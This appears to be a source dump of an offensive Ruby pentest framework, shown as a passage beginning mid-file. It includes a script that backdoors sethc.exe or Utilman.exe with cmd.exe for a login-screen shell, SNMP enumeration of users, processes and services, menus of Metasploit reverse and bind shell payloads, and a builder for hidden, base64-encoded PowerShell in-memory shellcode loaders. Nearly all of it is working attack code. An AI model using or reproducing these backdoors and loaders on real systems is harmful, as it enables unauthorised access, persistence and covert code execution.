| "rename #{path}Utilman.exe Utilman.exe.bak", 144 | "copy #{path}cmd.exe #{path}cmd3.exe", 145 | "rename #{path}cmd3.exe Utilman.exe" ] 146 | 147 | sethc_cleanup = [ "takeown /f #{path}sethc.exe", 148 | "icacls #{path}sethc.exe /grant administrators:f", 149 | "takeown /f #{path}sethc.exe.bak", 150 | "icacls #{path}sethc.exe.bak /grant Administrators:f", 151 | "del #{path}sethc.exe", 152 | "rename #{path}sethc.exe.bak sethc.exe" ] 153 | 154 | utilman_cleanup = [ "takeown /f #{path}Utilman.exe", 155 | "icacls #{path}Utilman.exe /grant administrators:f", 156 | "takeown /f #{path}utilman.exe.bak", 157 | "icacls #{path}utilman.exe.bak /grant Administrators:f", 158 | "del #{path}Utilman.exe", 159 | "rename #{path}Utilman.exe.bak Utilman.exe" ] 160 | 161 | #Check if we running in cleanup mode or backdoor mode, act accordingly 162 | if remove.to_i > 0 163 | print_status("Starting the Swaparoo cleanup process.....") 164 | #Check if using Utilman method or standard Sethc method 165 | if targetexe.to_i > 0 166 | list_exec(session, utilman_cleanup) 167 | else 168 | list_exec(session, sethc_cleanup) 169 | end 170 | else 171 | #Check for signs of previous backdooring, if so this can overwrite the backup file which means you can't cleanup afterwards! Bail out if found as a result and have user remove, rename, or run cleanup to make it ok..... 172 | print_status("Starting the Swaparoo backdooring process.....") 173 | if targetexe.to_i > 0 174 | if session.fs.file.exists?("#{path}utilman.exe.bak") 175 | print_error("Target appears to have already been backdoored!") 176 | print_error("Delete or rename the backup file (sethc.exe.bak or utilman.exe.bak) manually or run the -r option for running cleanup tasks.....") 177 | raise Rex::Script::Completed 178 | else 179 | list_exec(session, utilman) 180 | end 181 | else 182 | if session.fs.file.exists?("#{path}sethc.exe.bak") 183 | print_error("Target appears to have already been backdoored!") 184 | print_error("Delete or rename the backup file (sethc.exe.bak or utilman.exe.bak) manually or run the -r option for running cleanup tasks.....") 185 | raise Rex::Script::Completed 186 | else 187 | list_exec(session, sethc) 188 | end 189 | end 190 | end 191 | print_status("Finished Swaparoo!") 192 | if remove.to_i > 0 193 | print_good("System should be restored back to normal!") 194 | else 195 | if targetexe.to_i > 0 196 | print_good("Press the Windows key + U or Click on the Blue Help icon at lower left on Login Screen and you should be greeted by a shell!") 197 | else 198 | print_good("Press Shift key 5 times at Login Screen and you should be greeted by a shell!") 199 | end 200 | end 201 | -------------------------------------------------------------------------------- /core/core.rb: -------------------------------------------------------------------------------- 1 | #Our Core Shell housing just our core functions needed to keep the party going 2 | # See the libs and plugins directory for details on how things are broken out 3 | # Libs files should be for core functions shared throughout 4 | # plugins should be used for classes to house the specifics and functions/wrappers for various tools and what not 5 | # 6 | class CoreShell 7 | trap('INT', 'SIG_IGN') #Trap interupts and force user to exit via core_shell menu option! Prevents errors with readline... 8 | 9 | def initialize 10 | #Load up any lib files found in the ./lib/ dir so available in core from start 11 | $libs=[] 12 | Dir.glob("#{HOME}/core/*.rb").each do |core| 13 | require "#{core}" 14 | $libs << "#{core}" 15 | end 16 | 17 | #Load all of the found plugins from /plugions/ dir so we can offer as options to use for loading later..... 18 | $modules=[] 19 | Dir.glob("#{HOME}/classes/*.rb").each do |classes| 20 | require "#{classes}" 21 | $modules << "#{classes}" 22 | end 23 | 24 | #Initialize a results directory if one does not exist 25 | $results="#{Dir.pwd}/results/" 26 | Dir.mkdir($results) unless File.exists?($results) 27 | 28 | #Initialize a results directory if one does not exist 29 | $temp="#{Dir.pwd}/classes/temp/" 30 | Dir.mkdir($temp) unless File.exists?($temp) 31 | end 32 | 33 | #Clear Terminal 34 | def cls 35 | system('clear') 36 | end 37 | 38 | #Simple Banner 39 | def banner 40 | print_line("") 41 | puts " _|_| _| _| _| ".light_green 42 | puts "_| _| _|_|_| _|_| _|_|_| _| _| _| _|_| _|_| ".light_green 43 | puts "_| _| _| _| _|_|_|_| _| _| _| _| _| _| _|_| _|_|_|_| ".light_green 44 | puts "_| _| _| _| _| _| _| _| _| _| _| _| _| ".light_green 45 | puts " _|_| _|_|_| _|_|_| _| _| _| _| _| _| _|_|_| ".light_green 46 | puts " _| ".light_green 47 | puts " _| ".light_green 48 | puts " OpenWire Project Kalista, v0.1-aplha ".light_red 49 | print_line("") 50 | end 51 | 52 | #Main Menu Help Options 53 | def show_usage 54 | puts "List of commands and description of usage".light_yellow + ": ".white 55 | puts "\tclear".light_yellow + " => ".white + "Clear Screen".light_yellow 56 | puts "\texit".light_yellow + " => ".white + "Exit Completely".light_yellow 57 | puts "\thelp ".light_yellow + " => ".white + "Display this Help Menu".light_yellow 58 | print_line("") 59 | puts "\trecon".light_yellow + " => ".white + "Recon & Discovery Shell".light_yellow 60 | puts "\tlogin".light_yellow + " => ".white + "Logins & Bruteforcers Shell".light_yellow 61 | puts "\tpayload".light_yellow + " => ".white + "Payloads Builder Shell".light_yellow 62 | puts "\tlistener".light_yellow + " => ".white + "Listener & Connection Handler Setup".light_yellow 63 | puts "\tsnmp".light_yellow + " => ".white + "Windows SNMP Enumation Tools".light_yellow 64 | puts "\tsmb".light_yellow + " => ".white + "SMB Tools".light_yellow 65 | puts "\texploit".light_yellow + " => ".white + "Exploits Shell".light_yellow 66 | puts "\twifi".light_yellow + " => ".white + "WiFi Shell".light_yellow 67 | puts "\tmitm".light_yellow + " => ".white + "MiTM Shell".light_yellow 68 | puts "\tupdate ".light_yellow + " => ".white + "Updater".light_yellow 69 | print_line("") 70 | puts "\tlocal".light_yellow + " => ".white + "Local OS Shell".light_yellow 71 | puts "\trb ".light_yellow + " => ".white + "Evaluates Ruby Code".light_yellow 72 | print_line("") 73 | end 74 | 75 | #Core/Main Menu 76 | def core_shell 77 | #Use readline module to keep history of commands while in sudo shell 78 | prompt = "(Kalista)> " 79 | while line = Readline.readline("#{prompt}", true) 80 | cmd = line.chomp 81 | case cmd 82 | when /^clear|^cls|^banner/i 83 | cls 84 | banner 85 | core_shell 86 | when /^help|^h$|^ls$/i 87 | show_usage 88 | core_shell 89 | when /^exit|^quit/i 90 | print_line("") 91 | print_error("OK, exiting Kalista....") 92 | print_line("") 93 | exit 69; 94 | when /^recon|^discover/i 95 | recon_shell 96 | puts 97 | core_shell 98 | when /^brute|^login|^creds/i 99 | logins_shell 100 | print_line("") 101 | core_shell 102 | when /^build|^payload/i 103 | payloads_shell 104 | print_line("") 105 | core_shell 106 | when /^listen/i 107 | cls 108 | banner 109 | listener_shell 110 | print_line("") 111 | core_shell 112 | when /^exploit|^x$/i 113 | exploits_shell 114 | print_line("") 115 | core_shell 116 | when /^smbfun|^smb/i 117 | smbfun_shell 118 | print_line("") 119 | core_shell 120 | when /^wifi|^x$/i 121 | wifi_shell 122 | print_line("") 123 | core_shell 124 | when /^mitm|^middle|^x$/i 125 | mitm_shell 126 | print_line("") 127 | core_shell 128 | when /^snmp/i 129 | snmp_shell 130 | print_line("") 131 | core_shell 132 | when /^update/i 133 | updates_shell 134 | print_line("") 135 | core_shell 136 | when /^rb (.+)/i 137 | code=$1.chomp 138 | rubyme("#{code}") 139 | print_line("") 140 | core_shell 141 | when /^local/i 142 | local_shell 143 | print_line("") 144 | core_shell 145 | else 146 | cls 147 | print_line("") 148 | print_error("Oops, Didn't quite understand that one") 149 | print_error("Please Choose a Valid Option From Menu Below Next Time.....") 150 | print_line("") 151 | show_usage 152 | core_shell 153 | end 154 | end 155 | end 156 | 157 | #Recon & Discovery Menu 158 | def recon_shell 159 | if not $recon 160 | $recon = Recon.new 161 | end 162 | $recon.r_shell 163 | end 164 | 165 | #Login & Bruteforcer Menu 166 | def logins_shell 167 | if not $logins 168 | $logins = LoginBrute.new 169 | end 170 | $logins.l_shell 171 | end 172 | 173 | #Payload Builder Menu 174 | def payloads_shell 175 | if not $payloads 176 | $payloads = PayloadBuilder.new 177 | end 178 | $payloads.p_shell 179 | end 180 | 181 | #Listener Setup 182 | def listener_shell 183 | if not $listener 184 | $listener = Listener.new 185 | end 186 | $listener.listener_builder 187 | end 188 | 189 | #Common SMB Fun Made Easy 190 | def smbfun_shell 191 | if not $smbfun 192 | $smbfun = SMBWrap.new 193 | end 194 | $smbfun.s_shell 195 | end 196 | 197 | #Common Exploit Made Easy 198 | def exploits_shell 199 | if not $exploit 200 | $exploit = Exploit.new 201 | end 202 | $exploit.e_shell 203 | end 204 | 205 | #WiFi Attacks I am able to code :p 206 | def wifi_shell 207 | if not $wifi 208 | $wifi = WiFiSploit.new 209 | end 210 | $wifi.w_shell 211 | end 212 | 213 | #MiTM LAN Attacks I can code up :p 214 | def mitm_shell 215 | if not $mitm 216 | $mitm = TMiddler.new 217 | end 218 | $mitm.m_shell 219 | end 220 | 221 | # SNMP Recon, Enumeration, and Attacks 222 | def snmp_shell 223 | if not $snmp 224 | $snmp = SNMPShell.new 225 | end 226 | $snmp.snmp_shell 227 | end 228 | 229 | #Updates Shell Menu 230 | def updates_shell 231 | if not $updater 232 | $updater = Updater.new 233 | end 234 | $updater.u_shell 235 | end 236 | 237 | #Local OS Command Shell for on the fly shit..... 238 | def local_shell 239 | cls 240 | banner 241 | prompt = "(localOS)> " 242 | while line = Readline.readline("#{prompt}", true) 243 | cmd = line.chomp 244 | case cmd 245 | when /^exit$|^quit$|^back$/i 246 | print_error("OK, Returning to Main Menu....") 247 | break 248 | else 249 | begin 250 | rez = `#{cmd}` #Run command passed 251 | puts "#{rez}".cyan #print results nicely for user.... 252 | rescue Errno::ENOENT => e 253 | print_error("#{e}") 254 | rescue => e 255 | print_caution("#{e}") 256 | end 257 | end 258 | end 259 | end 260 | 261 | #Ruby Eval() Console for testing ruby shit on the fly..... 262 | def rubyme(code) 263 | begin 264 | print_line("#{eval("#{code}")}") 265 | rescue NoMethodError => e 266 | print_error("#{e}") 267 | rescue NameError => e 268 | print_error("#{e}") 269 | rescue SyntaxError => e 270 | print_error("#{e}") 271 | rescue TypeError => e 272 | print_error("#{e}") 273 | end 274 | end 275 | end 276 | -------------------------------------------------------------------------------- /core/snmp_stalker.rb: -------------------------------------------------------------------------------- 1 | # This is a wrapper class for the SNMP Pure Ruby Implementation (gem install snmp) 2 | # It simple extends the underlying gem to make methods available in simpler manner 3 | # for me anyways..... 4 | # Leaving separate and you can call from the snmp.rb class script as needed 5 | 6 | class SNMPStalker 7 | def initialize(host,port,string) 8 | @host = host 9 | @port = port 10 | @string = string 11 | @manager = SNMP::Manager.new(:Host => host, :Port => port, :Community => string) 12 | end 13 | 14 | #Convert OID 2 Symbolic Name 15 | def oid2name(oid) 16 | name = @manager.mib.name(oid) 17 | t = [['OID', 'Symbolic Name'], ["#{oid}", "#{name}"]] 18 | table = t.to_table(:first_row_is_head => true) 19 | puts table.to_s 20 | end 21 | 22 | #Convert Name to OID 23 | def name2oid(name) 24 | oid = @manager.mib.oid(name) 25 | t = [['OID', 'Symbolic Name'], ["#{oid}", "#{name}"]] 26 | table = t.to_table(:first_row_is_head => true) 27 | puts table.to_s 28 | end 29 | 30 | # Walk the target OID or OID Symbolic Name tree if available.... 31 | # Nice if you need something random perhaps 32 | def walk(oidorname) 33 | print_status("Trying to Walk the '#{oidorname}' tree......") 34 | @manager.walk("#{oidorname}") { |x| print_good("#{x}") } 35 | end 36 | 37 | # SET value for specified OID with given string 38 | # ex: set("1.3.6.1.2.1.1.5.0", "FooFucked") # => would change device system name value to string 'FooFucked' 39 | def set(oid, string) 40 | print_status("Trying to SET value of '#{oid}' to '#{string}'......") 41 | old = @manager.get_value(oid) 42 | print_status("Current Value: #{old}") 43 | varbind = VarBind.new(oid, OctetString.new(string)) 44 | @manager.set(varbind) 45 | new = @manager.get_value(oid) 46 | print_status("Updated Value: #{new}") 47 | end 48 | 49 | #Confirm credentials are working 50 | def can_we_connect 51 | begin 52 | @sys_time = @manager.get_value("sysUpTime.0") 53 | rescue SNMP::RequestTimeout => e 54 | print_error("#{e}") 55 | print_error("Can't connect using '#{@string.chomp}'!") 56 | $fail=1 57 | end 58 | end 59 | 60 | # Enumerate some basic info about the target 61 | def basic_info 62 | #Grab some basic info using OID values which should be fairly generic in nature 63 | target = "#{@manager.config[:host]}:#{@manager.config[:port]}" 64 | cstring = @manager.config[:community] 65 | @snmp_version = @manager.config[:version] #We need this one later for some decisions so setting to class var 66 | sys_name = @manager.get_value("sysName.0") 67 | sys_descr = @manager.get_value("sysDescr.0") 68 | 69 | #Print out our basic info for user 70 | puts "[*] ".light_green + "Target".light_yellow + ": #{target}".white 71 | puts "[*] ".light_green + "Community String".light_yellow + ": #{cstring}".white 72 | if @snmp_version 73 | puts "[*] ".light_green + "SNMP Version".light_yellow + ": #{@snmp_version}".white 74 | else 75 | print_caution("Unable to determine SNMP Version in use?") 76 | end 77 | if sys_name 78 | puts "[*] ".light_green + "System Name".light_yellow + ": #{sys_name}".white 79 | else 80 | print_error("Unable to determine system name!") 81 | end 82 | if sys_descr 83 | puts "[*] ".light_green + "System Description".light_yellow + ": \n#{sys_descr}".white 84 | else 85 | print_error("Unable to find system description!") 86 | end 87 | if @sys_time 88 | puts "[*] ".light_green + "System Uptime".light_yellow + ": #{@sys_time}".white 89 | else 90 | print_error("Unable to find system description!") 91 | end 92 | end 93 | 94 | # Walk the "SNMPv2-SMI::enterprises.77.1.2.25" or "1.3.6.1.4.1.77.1.2.25" tree 95 | # This will disclose the existing Windows Usernames for valid accounts on box 96 | def users_walk 97 | print_status('Enumerating Usernames.....') 98 | users=[['Usernames']] 99 | @manager.walk('enterprises.77.1.2.25') { |x| users << ["#{x.value}"] } 100 | if users.empty? 101 | print_error("No Values Found!") 102 | else 103 | print_good("#{users.size} Usernames Found!") 104 | table = users.to_table(:first_row_is_head => true) 105 | puts table.to_s 106 | end 107 | end 108 | 109 | # Walk the 'SNMPv2-SMI::mib-2.25.6.3.1.2' or '1.3.6.1.2.1.25.6.3.1.2' tree 110 | # This will disclose the currently installed software on system 111 | def sw_walk 112 | print_status('Enumerating Installed Software.....') 113 | sw=[['Installed Software']] 114 | @manager.walk('mib-2.25.6.3.1.2') { |x| sw << ["#{x.value}"] } 115 | if sw.empty? 116 | print_error("No Values Found!") 117 | else 118 | table = sw.to_table(:first_row_is_head => true) 119 | puts table.to_s 120 | end 121 | end 122 | # Enumerate Running Services (Windows) 123 | # Walk the 'SNMPv2-SMI::enterprises.77.1.2.3.1.1' or '1.3.6.1.4.1.77.1.2.3.1.1' tree 124 | # This will disclose the currently running windows services 125 | def services_walk 126 | print_status('Enumerating Running Services.....') 127 | services=[['Running Services']] 128 | @manager.walk('enterprises.77.1.2.3.1.1') { |x| services << ["#{x.value}"] } 129 | if services.empty? 130 | print_error("No Values Found!") 131 | else 132 | table = services.to_table(:first_row_is_head => true) 133 | puts table.to_s 134 | end 135 | end 136 | 137 | # Enumerate the Currently Running Processes 138 | # Process Name, PID, and PATH returned 139 | # PROCESS: Symbolic Name: mib-2.25.4.2.1.2 or OID: 1.3.6.1.2.1.25.4.2.1.2 140 | # PID: Symbolic Name: mib-2.25.4.2.1.1 or OID: 1.3.6.1.2.1.25.4.2.1.1 141 | # PATH: Symbolic Name: mib-2.25.4.2.1.4 or OID: 1.3.6.1.2.1.25.4.2.1.4 142 | def process_walk 143 | print_status('Enumerating Running Process.....') 144 | psz=[] #process name 145 | @manager.walk('mib-2.25.4.2.1.2') { |x| psz << x.value } 146 | if psz.empty? 147 | print_error("No Values Found!") 148 | else 149 | ps_present = [['PID', 'Process', 'Path']] 150 | pidz=[] #PID valud 151 | @manager.walk('mib-2.25.4.2.1.1') { |x| pidz << x.value } 152 | 153 | pathz=[] #Path of process 154 | @manager.walk('mib-2.25.4.2.1.4') do |path| 155 | if path.value.chomp != '' and not path.nil? 156 | pathz << path.value 157 | else 158 | pathz << " - " 159 | end 160 | end 161 | count=0 162 | while count.to_i < psz.size 163 | ps_present << [[ "#{pidz[count]}", "#{psz[count]}", "#{pathz[count]}" ]] 164 | count = count.to_i + 1 165 | end 166 | 167 | table = ps_present.to_table(:first_row_is_head => true) 168 | puts table.to_s 169 | end 170 | end 171 | 172 | # Enumerate Listening and Open TCP Ports (a.k.a. Netstat Output) 173 | # Walk the tcpConnState or 1.3.6.1.2.1.6.13.1.1 oid names (not values) 174 | # Results needs some formatting to make like netstat.... 175 | def netstat_tcp 176 | tcp=[] 177 | print_status('Enumerating Open TCP Ports.....') 178 | @manager.walk('tcpConnState') {|x| tcp << x.to_s.split(", ")[0].sub('[name=TCP-MIB::tcpConnState.', '') } 179 | if not tcp.empty? 180 | puts "[*] ".light_green + "OPEN TCP PORTS".light_yellow + ": ".white 181 | tcp.each do |entry| 182 | if entry =~ /(\d+.\d+.\d+.\d+).(\d+).(\d+.\d+.\d+.\d+).(\d+)/ or entry =~ /(\d+.\d+.\d+.\d+).(\d+)/ 183 | ip=$1 184 | port=$2 185 | ip2=$3 186 | port2=$4 187 | print_good("#{ip}:#{port}") 188 | if ip2 and port2 189 | print_good("#{ip2}:#{port2}") 190 | end 191 | else 192 | print_good("#{entry}") 193 | end 194 | end 195 | else 196 | print_error("No Values Found!") 197 | end 198 | end 199 | 200 | # Enumerate Listening and Open UDP Ports (a.k.a. Netstat Output) 201 | # Walk the udpLocalAddress or 1.3.6.1.2.1.7.5.1.1 oid names (not values) 202 | # Results needs some formatting to make like netstat.... 203 | def netstat_udp 204 | udp=[] 205 | print_status('Enumerating Open UDP Ports.....') 206 | @manager.walk('udpLocalAddress') {|x| udp << x.to_s.split(", ")[0].sub('[name=UDP-MIB::udpLocalAddress.', '') } 207 | if not udp.empty? 208 | puts "[*] ".light_green + "OPEN UDP PORTS".light_yellow + ": ".white 209 | udp.each do |entry| 210 | if entry =~ /(\d+.\d+.\d+.\d+).(\d+)/ 211 | ip=$1 212 | port=$2 213 | print_good("#{ip}:#{port}") 214 | else 215 | print_good("#{entry}") 216 | end 217 | end 218 | else 219 | print_error("No Values Found!") 220 | end 221 | end 222 | 223 | # Dump the 'MGMT' OID 224 | # Discloses most everything it has stored.... 225 | # Nice if you need something random perhaps 226 | def dump 227 | print_status("Dumping a bunch of info from the 'mgmt' OID......") 228 | dumpz=[] 229 | @manager.walk('mgmt') { |x| dumpz << x } 230 | if dumpz.empty? 231 | print_error("No Values Found!") 232 | else 233 | puts "[*] ".light_green + "SNMP MGMT Dump".light_yellow + ": ".white 234 | dumpz.each do |entry| 235 | print_good("#{entry}") 236 | end 237 | end 238 | end 239 | 240 | # Close the SNMP Connection cleanly 241 | def close 242 | @manager.close 243 | end 244 | end 245 | 246 | #Helpful Print Status Function 247 | def print_status(string) 248 | puts "[*] ".light_blue + "#{string}".white 249 | end 250 | 251 | #Cautionary Print Status Function 252 | def print_caution(string) 253 | puts "[*] ".light_yellow + "#{string}".white 254 | end 255 | 256 | #Helpful Print Good or Positive Results 257 | def print_good(string) 258 | puts "[*] ".light_green + "#{string}".white 259 | end 260 | 261 | #Helpful Print Error or Negative/False Results 262 | def print_error(string) 263 | puts "[*] ".light_red + "#{string}".white 264 | end 265 | 266 | # Print Line 267 | def print_line(string) 268 | puts "#{string}".white 269 | end 270 | -------------------------------------------------------------------------------- /core/support.rb: -------------------------------------------------------------------------------- 1 | # SUpport Functions for use throughout the Kalista framework 2 | # Just keeps things clean and easier to manage having separate from core 3 | # imo.....add what you like, how you like 4 | 5 | # Generate a random aplha string length of value of num 6 | def randz(num) 7 | (0...num).map{ ('a'..'z').to_a[rand(26)] }.join 8 | end 9 | 10 | #Simple Print Line 11 | def print_line(string) 12 | print "#{string}\n".white 13 | end 14 | 15 | #Simple Status Indiicator 16 | def print_status(string) 17 | print "[*]".light_green + " #{string}\n".white 18 | end 19 | 20 | #Simple Caution Status Indiicator 21 | def print_caution(string) 22 | print "[*]".light_yellow + " #{string}\n".white 23 | end 24 | 25 | 26 | #Error Message 27 | def print_error(string) 28 | print "[*]".light_red + " #{string}\n".white 29 | end 30 | 31 | # Execute commands safely, result is returned as an array 32 | def commandz(foo) 33 | bar = IO.popen("#{foo}") 34 | foobar = bar.readlines 35 | return foobar 36 | end 37 | 38 | #Execute commands in separate process in standalone X-window :) 39 | def fireNforget(command) 40 | #Spawn our connection in a separate terminal cause its nicer that way!!!!! 41 | pid = Process.fork 42 | if pid.nil? 43 | # In child 44 | sleep(1) #dramatic pause :p 45 | exec "#{command}" #This can now run in its own process thread and we dont have to wait for it 46 | else 47 | # In parent, detach the child process 48 | Process.detach(pid) 49 | end 50 | end 51 | 52 | #Small function to help select the actual payload to use from MSF 53 | # Call this function with the mode number set to define which payloads will be displayed for user choosing 54 | # 1=Listerner Mode, 2-Exploit Mode, 3=Payload Builder 55 | def payload_selector(mode) 56 | 57 | winblowz = { '1' => 'windows/meterpreter/reverse_tcp', '2' => 'windows/x64/meterpreter/reverse_tcp', '3' => 'windows/shell/reverse_tcp', '4' => 'windows/x64/shell/reverse_tcp', '5' => 'windows/vncinject/reverse_tcp', '6' => 'windows/x64/vncinject/reverse_tcp', '7' => 'windows/dllinject/reverse_tcp', '8' => 'windows/dllinject/reverse_http', '9' => 'windows/shell/reverse_http', '10' => 'windows/meterpreter/reverse_http', '11' => 'windows/meterpreter/reverse_https', '12' => 'cmd/windows/reverse_perl', '13' => 'cmd/windows/reverse_ruby', '14' => 'generic/windows/reverse_shell', '15' => 'generic/reverse_shell' } 58 | 59 | tux = { '1' => 'linux/x86/meterpreter/reverse_tcp', '2' => 'linux/x64/shell/reverse_tcp', '3' => 'linux/x86/shell/reverse_tcp', '4' => 'linux/x64/shell_reverse_tcp', '5' => 'linux/x86/shell_reverse_tcp', '6' => 'aix/ppc/shell_reverse_tcp', '7' => 'bsd/sparc/shell_reverse_tcp', '8' => 'bsd/x86/shell/reverse_tcp', '9' => 'solaris/x86/shell_reverse_tcp', '10' => 'solaris/sparc/shell_reverse_tcp', '11' => 'cmd/unix/reverse', '12' => 'cmd/unix/reverse_bash', '13' => 'cmd/unix/reverse_netcat', '14' => 'cmd/unix/reverse_perl', '15' => 'cmd/unix/reverse_python', '16' => 'cmd/unix/reverse_ruby', '17' => 'generic/shell_reverse_tcp', '18' => 'generic/reverse_shell' } 60 | 61 | genrev = { '1' => 'java/meterpreter/reverse_tcp', '2' => 'java/shell/reverse_tcp', '3' => 'java/shell_reverse_tcp', '4' => 'php/meterpreter/reverse_tcp', '5' => 'php/reverse_perl', '6' => 'php/reverse_php', '7' => 'php/shell_findsock', '8' => 'python/shell_reverse_tcp_ssl', '9' => 'ruby/shell_reverse_tcp', '10' => 'generic/reverse_shell' } 62 | 63 | binder = { '1' => 'windows/meterpreter/bind_tcp', '2' => 'windows/x64/meterpreter/bind_tcp', '3' => 'windows/x64/shell/bind_tcp', '4' => 'windows/x64/shell/bind_tcp', '5' => 'linux/x86/meterpreter/bind_tcp', '6' => 'linux/x86/shell/bind_tcp', '7' => 'linux/x64/shell/bind_tcp', '8' => 'aix/ppc/shell_bind_tcp', '9' => 'bsd/x86/shell/bind_tcp', '10' => 'solaris/x86/shell_bind_tcp', '11' => 'solaris/sparc/shell_bind_tcp', '12' => 'java/shell/bind_tcp', '13' => 'java/meterpreter/bind_tcp', '14' => 'php/meterpreter/bind_tcp', '15' => 'generic/bind_shell' } 64 | 65 | while(true) 66 | print_caution("Select Type of Payload: ") 67 | print_caution("1) Bind Shell") 68 | print_caution("2) Reverse Shell") 69 | type=gets.chomp 70 | puts 71 | if type == '2' #REVERSE SHELL 72 | while(true) 73 | print_caution("Select the Payload Category: ") 74 | print_caution("1) Windows") 75 | print_caution("2) Linux") 76 | print_caution("3) OTHER") 77 | os=gets.chomp 78 | print_status("") 79 | print_caution("Select Payload: ") 80 | if os == '1' 81 | while(true) 82 | if mode.to_i == 1 83 | winblowz.each { |key,value| puts (key.to_i < 10) ? "#{key}) #{value}".light_yellow : "#{key}) #{value}".light_yellow } 84 | sizer=winblowz.size 85 | else 86 | winblowz.each { |key,value| (puts (key.to_i < 10) ? "#{key}) #{value}".light_yellow : "#{key}) #{value}".light_yellow) unless value == 'generic/reverse_shell' } 87 | sizer=winblowz.size - 1 88 | end 89 | answer=gets.chomp 90 | puts 91 | if answer.to_i == 0 or answer.to_i > sizer.to_i 92 | print_error("") 93 | print_error("Please Enter a Valid Option!") 94 | print_error("") 95 | else 96 | payload = winblowz[answer] 97 | break 98 | end 99 | end 100 | break 101 | elsif os =='2' 102 | while(true) 103 | if mode.to_i == 1 104 | tux.each { |key,value| puts (key.to_i < 10) ? "#{key}) #{value}" : "#{key}) #{value}" } 105 | sizer=tux.size 106 | else 107 | tux.each { |key,value| (puts (key.to_i < 10) ? "#{key}) #{value}" : "#{key}) #{value}") unless value == 'generic/reverse_shell' } 108 | sizer=tux.size - 1 109 | end 110 | answer=gets.chomp 111 | puts 112 | if answer.to_i == 0 or answer.to_i > sizer.to_i 113 | print_error("") 114 | print_error("Please Enter a Valid Option!") 115 | print_error("") 116 | else 117 | payload = tux[answer] 118 | break 119 | end 120 | end 121 | break 122 | elsif os == '3' 123 | while(true) 124 | if mode.to_i == 1 125 | genrev.each { |key,value| puts (key.to_i < 10) ? "#{key}) #{value}".light_yellow : "#{key}) #{value}".light_yellow } 126 | sizer=genrev.size 127 | else 128 | genrev.each { |key,value| (puts (key.to_i < 10) ? "#{key}) #{value}".light_yellow : "#{key}) #{value}".light_yellow) unless value == 'generic/reverse_shell' } 129 | sizer=genrev.size - 1 130 | end 131 | answer=gets.chomp 132 | puts 133 | if answer.to_i == 0 or answer.to_i > sizer.to_i 134 | print_error("") 135 | print_error("Please Enter a Valid Option!") 136 | print_error("") 137 | else 138 | payload = genrev[answer] 139 | break 140 | end 141 | end 142 | break 143 | end 144 | end 145 | break 146 | elsif type == '1' #BIND SHELL 147 | while(true) 148 | print_caution("Select Payload: ") 149 | if mode.to_i == 1 150 | binder.each { |key,value| puts (key.to_i < 10) ? "#{key}) #{value}".light_yellow : "#{key}) #{value}".light_yellow } 151 | sizer=binder.size 152 | else 153 | binder.each { |key,value| (puts (key.to_i < 10) ? "#{key}) #{value}".light_yellow : "#{key}) #{value}".light_yellow) unless value == 'generic/bind_shell' } 154 | sizer=binder.size - 1 155 | end 156 | answer=gets.chomp 157 | print_status("") 158 | if answer.to_i == 0 or answer.to_i > sizer.to_i 159 | print_error("") 160 | print_error("Please Enter a Valid Option!") 161 | print_error("") 162 | else 163 | payload = binder[answer] 164 | break 165 | end 166 | end 167 | break 168 | end 169 | end 170 | return payload 171 | end 172 | 173 | #Preps and Builds our PowerShell Command to run our payload in memory upon execution on target..... 174 | def powershell_builder(venomstring) 175 | # venomstring should be the arguments needed for msfvenom to build the base payload/shellcode ('-p LHOST= LPORT=' 176 | shellcode="#{`#{MSFPATH}/msfvenom #{venomstring} -b \\x00`}".gsub(";", "").gsub(" ", "").gsub("+", "").gsub('"', "").gsub("\n", "").gsub('buf=','').strip.gsub('\\',',0').sub(',', '') 177 | # => yields a variable holding our escapped shellcode with ',' between each char..... 178 | 179 | print_status("Converting Base ShellCode to PowerShell friendly format.....") 180 | # Borrowed from one of several appearances across the many Python written scripts :p 181 | ps_base = "$code = '[DllImport(\"kernel32.dll\")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(\"kernel32.dll\")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(\"msvcrt.dll\")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$winFunc = Add-Type -memberDefinition $code -Name \"Win32\" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc64 = %s;[Byte[]]$sc = $sc64;$size = 0x1000;if ($sc.Length -gt 0x1000) {$size = $sc.Length};$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$winFunc::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };" 182 | # => Our base PowerShell wrapper to get the job done now in var 183 | 184 | ps_base_cmd = ps_base.sub('%s', shellcode) 185 | # => place our shellcode in the Python placeholder :p 186 | 187 | #Prep it for final stages and put in funky ps format.... 188 | ps_cmd_prepped=String.new 189 | ps_base_cmd.scan(/./) {|char| ps_cmd_prepped += char + "\x00" } 190 | 191 | # Base64 Encode our Payload so it is primed & ready for PowerShell usage 192 | stager = Base64.encode64("#{ps_cmd_prepped}") 193 | 194 | #The magic is now ready! 195 | ps_cmd = 'powershell -noprofile -windowstyle hidden -noninteractive -EncodedCommand ' + stager.gsub("\n", '') 196 | return ps_cmd 197 | end 198 | 199 | #Gnerate a MS5 Hash given string 200 | def md5(string) 201 | Digest::MD5.hexdigest(string) 202 | end 203 | 204 | #Gnerate a SHA1 Hash given string 205 | def sha1(string) 206 | OpenSSL::Digest::SHA1.hexdigest(string) 207 | end 208 | -------------------------------------------------------------------------------- /installer.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | # 3 | # Kalista Dependency & Installation Helper 4 | # Assumes you already have Ruby and Git installed, tries to do the rest.... 5 | # Trying to make it work on more than Kali.... 6 | # 7 | 8 | # EDIT THIS TO WHERE YOU WANT SHIT INSTALLED 9 | ###################### 10 | INSTALL='/root/fun/' # 11 | ###################### 12 | 13 | #Trap any interupt signals for cleaner termination, add cleanup as needed.... 14 | trap("SIGINT") { puts "\n\nWARNING! CTRL+C Detected, shutting down!"; exit 666 } 15 | 16 | # Execute commands safely, result is returned as array 17 | def commandz(foo) 18 | bar = IO.popen("#{foo}") 19 | foobar = bar.readlines 20 | return foobar 21 | end 22 | 23 | # Check dependencies by checking which tools are already installed and where 24 | # Returns an array with the name of each tool which still needs to be installed 25 | def check_depenencies 26 | check_installer 27 | check_git 28 | check_tools 29 